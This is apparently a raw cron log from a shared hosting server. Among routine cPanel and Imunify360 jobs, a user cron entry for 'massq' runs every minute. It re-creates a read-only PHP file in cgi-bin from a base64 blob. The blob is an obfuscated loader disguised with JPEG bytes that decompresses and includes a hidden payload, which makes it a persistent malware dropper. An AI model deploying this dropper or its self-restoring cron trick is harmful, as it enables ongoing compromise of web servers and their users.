Sep  6 07:25:01 server CROND[26213]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:25:01 server CROND[26216]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 07:25:01 server CROND[26215]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 07:25:01 server CROND[26214]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:26:01 server CROND[27055]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:26:01 server CROND[27054]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:26:01 server CROND[27056]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:27:01 server CROND[27526]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:27:01 server CROND[27527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:27:01 server CROND[27528]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 07:27:01 server CROND[27529]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:28:01 server CROND[27918]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:28:01 server CROND[27919]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:28:01 server CROND[27920]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:29:01 server CROND[28362]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:29:01 server CROND[28364]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:29:01 server CROND[28363]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:30:01 server CROND[28753]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 07:30:01 server CROND[28752]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 07:30:01 server CROND[28754]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:30:01 server CROND[28755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:30:01 server CROND[28758]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 07:30:01 server CROND[28756]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 07:30:01 server CROND[28759]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 07:30:01 server CROND[28757]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:31:01 server CROND[29592]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:31:01 server CROND[29593]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:31:01 server CROND[29594]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:32:01 server CROND[30089]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:32:01 server CROND[30088]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:32:01 server CROND[30090]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:33:01 server CROND[30549]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:33:01 server CROND[30550]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:33:01 server CROND[30551]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:34:01 server CROND[30935]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:34:01 server CROND[30936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:34:01 server CROND[30937]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:35:01 server CROND[31337]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 07:35:01 server CROND[31338]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  6 07:35:01 server CROND[31340]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 07:35:01 server CROND[31345]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:35:01 server CROND[31346]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 07:35:01 server CROND[31347]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 07:35:01 server CROND[31349]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 07:35:01 server CROND[31344]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:35:01 server CROND[31348]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:36:01 server CROND[32179]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:36:01 server CROND[32180]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:36:01 server CROND[32181]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:37:01 server CROND[32571]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
